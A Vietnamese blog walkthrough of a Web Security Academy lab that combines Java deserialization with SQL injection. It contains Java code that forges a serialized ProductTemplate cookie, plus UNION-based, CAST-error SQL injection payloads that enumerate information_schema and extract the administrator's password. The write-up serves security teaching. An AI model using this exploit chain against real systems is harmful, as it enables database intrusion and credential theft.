This page looks best with JavaScript enabled

LAB Developing a custom gadget chain for Java deserialization

 ·  ☕ 6 min read  ·  🤖 ch1nhpd

Xin chào các bạn, hôm nay mình sẽ nói về một bài lab trên Web Security Academy. Bài này được họ đánh giá ở mức độ Expert nên khá là dài nhưng không khó lắm đâu nhé! Cá bạn có thể thực hành ngay tại đây.

Cùng bắt đầu ngay nhé

Đầu tiên hãy bật Burp Suite lên, kết nối vào bài lab và đăng nhập vào tài khoản được cấp. Khi bạn dùng Burp để xem request đến /my-account các bạn sẽ thấy cookie của mình giống như hình dưới đây:

cookie

Bây giờ thử decode nó bằng tab decoder trong Burp nhé

decode

Đọc tiêu đề bài lab thì chúng ta có thể biết nó là Java deserialization nhưng nếu gặp thực tế thì chúng ta nhận biết thế nào? Hãy nhìn vào chỗ mình tô màu vàng trong decode nhé. Đoạn data.session.token.AccessTokenUser như kiểu đường dẫn của một class vậy, còn chữ java/lang kia nữa. Đó được coi là một trong những dấu hiệu giúp chúng ta nhận ra nhé.

Discover content

Tiếp theo, sau khi discover content trang web mình thu được kết quả như ảnh dưới đây.

discover Content

Chúng ta có thể nhìn thấy trang web để lộ hai file java. Hãy truy cập đến hai file đó ngay thôi nào..

Ở file AccessTokenUser.java ta thấy class được implements Serializable. Và trùng hợp là cái tên class này có trong cái cookie mà chúng ta đã decode lúc nãy. Qua đây chúng ta có thể đoán được là khi server nhận cookie sẽ thực hiện deserializable để nhận được đối tượng.Rồi cứ để đó đã, chúng ta xem tiếp file còn lại có gì nào. À quên, các bạn có thể đọc về Serializable và deserializable tại đây nhé

class2

Như các bạn thấy, class này cũng được implements từ Serializable, nghĩa là cũng có thể biến đổi từ object sang dạng byte stream. Nhưng class này chỉ biến đổi thuộc tính id vì Product đã được thêm transient. Để ý tiếp xuống dưới thì ta thấy hàm readObject có thực hiện một câu sql với đối số truyền vào là id.

Qua hai class thì chúng ta hãy thử tưởng tượng xem sẽ như thế nào nếu cái cookie không phải là đối tượng thuộc class 1 mà lại là đối tượng thuộc class 2 nhỉ. Liệu có thể có SQLi…

Developing a custom gadget chain

Rồi, bây giờ chúng ta thử tạo class giống class 2 sau đó thực hiện biến đổi đối tượng sang dạng byte stream rồi encode dưới dạng Base64 để tạo ra một cookie giả nhé. Do sa chân lỡ bước mình đã không may va vào code của họ :))

Các bạn cần chú ý hàm Main dưới đây nhé.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
  public static void main(String[] args) throws Exception {
    ProductTemplate originalObject = new ProductTemplate("gõ payload vào đây nhé - cái mà nó sẽ thay chỗ của id ấy");

    String serializedObject = serialize(originalObject);

    System.out.println("Serialized object: " + serializedObject);

    ProductTemplate deserializedObject = deserialize(serializedObject);

    System.out.println("Deserialized object ID: " + deserializedObject.getId());
  }

  private static String serialize(Serializable obj) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
    try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
      out.writeObject(obj);
    }
    return Base64.getEncoder().encodeToString(baos.toByteArray());
  }

  private static <T> T deserialize(String base64SerializedObj) throws Exception {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
      @SuppressWarnings("unchecked")
      T obj = (T) in.readObject();
      return obj;
    }
  }
}

và class TemplateProduct có dạng

TemplateProduct

SQLi

Đầu tiên, mình thêm một dấu nháy đơn vào chỗ payload và chạy code sau đó sửa cookie gốc bằng kết quả code vừa chạy.

buildCode

Và đây là kết quả

rq

Oke thế là bài toán bây giờ chính thức chuyển thành SQLi.

Mình đã thử và có vẻ chèn bất kì câu sql nào vào đều có thể chạy được. Vậy là dễ rồi, hãy xem mình làm tiếp thế nào nhé…

Xác định số cột

Mình dùng UNION vì vậy bước đầu tiên chính là xác định xem câu truy vấn gốc lấy ra bao nhiêu cột. Để xác định được thì các bạn cứ , null tiếp vào payload dưới đây của mình cho đến khi đúng thì thôi. Khi đấy số lượng từ null chính là số cột của câu truy vấn gốc.

' UNION SELECT null, null, null

Xác định kiểu dữ liệu từng cột

Để xác định kiểu dữ liệu của từng cột, chúng ta lại thay null bằng một ví dụ của kiểu dữ liệu đó. Vd nếu muốn biết có phải integer không thì các bạn thay null = 1 hoặc string thì thay null = 'a' .Nếu không có lỗi gì xảy ra thì đúng là cái kiểu dữ liệu bạn đã thử hoặc có trường hợp có lỗi nó cũng báo luôn kiểu dữ liệu của cột đó như thế này

err

Tìm tên cột tên bảng

Trong sql thường có một bảng tổng tên là information_schema.tables có cột table_name lưu tên tất cả các bảng trong cơ sở dữ liệu. Các bạn có thể tìm kiểm information schema + tên hệ quả trị CSDL để biết thêm. Còn đây là payload tiếp theo của mình

' UNION SELECT null, null, null, table_name, null, null, null, null FROM information_schema.tables--

Tuy nhiên nó bị hiện lỗi như sau

err

Nghĩa là ở câu truy vấn gốc kiểu dữ liệu là integer nhưng câu sau UNION lại là character. Tiếp theo mình đã dùng hàm CAST() để ép kiểu từ character thành integer.

' UNION SELECT null, null, null, CAST(table_name as integer), null, null, null, null FROM information_schema.tables--

Sở dĩ dùng hàm CAST() vì chắc chắn nó sẽ bị lỗi nếu đầu ra của table_name chứa một kí tự không phải số. Và một điều nữa là khi có lỗi thì nó sẽ hiện cái lỗi đấy ra và chúng ta sẽ đọc được như thế này.

err2

Rồi sau khi có tên bảng ta tiếp tục tìm tên cột chứa password bằng payload sau

' UNION SELECT null, null, null, CAST(column_name as integer), null, null, null, null FROM information_schema.columns WHERE table_name = 'users' --

Tuy nhiên nó không hiện ngay cái bảng chúng ta cần tìm, chúng ta lại tiếp tục sửa payload

' UNION SELECT null, null, null, CAST(column_name as integer), null, null, null, null FROM information_schema.columns WHERE table_name = 'users' AND column_name != 'username'--

Tìm thông tin tiếp

Cuối cùng là tìm đến mật khẩu của Administrator thôi

Và đây là kết quả
rs

Tổng kết

Như vậy là chúng ta đã đi qua một bài lab dài thật là dài. Hãy cùng xem lại những kiến thức vừa đi qua nhé

  1. Discover content.
  2. Serializable >< Deserializable.
  3. SQL Injection, cách tìm ra lần lượt các thành phần trong cơ sở dữ liệu.
Share on

Phạm Đăng Chính
WRITTEN BY
ch1nhpd
Developer, Pentester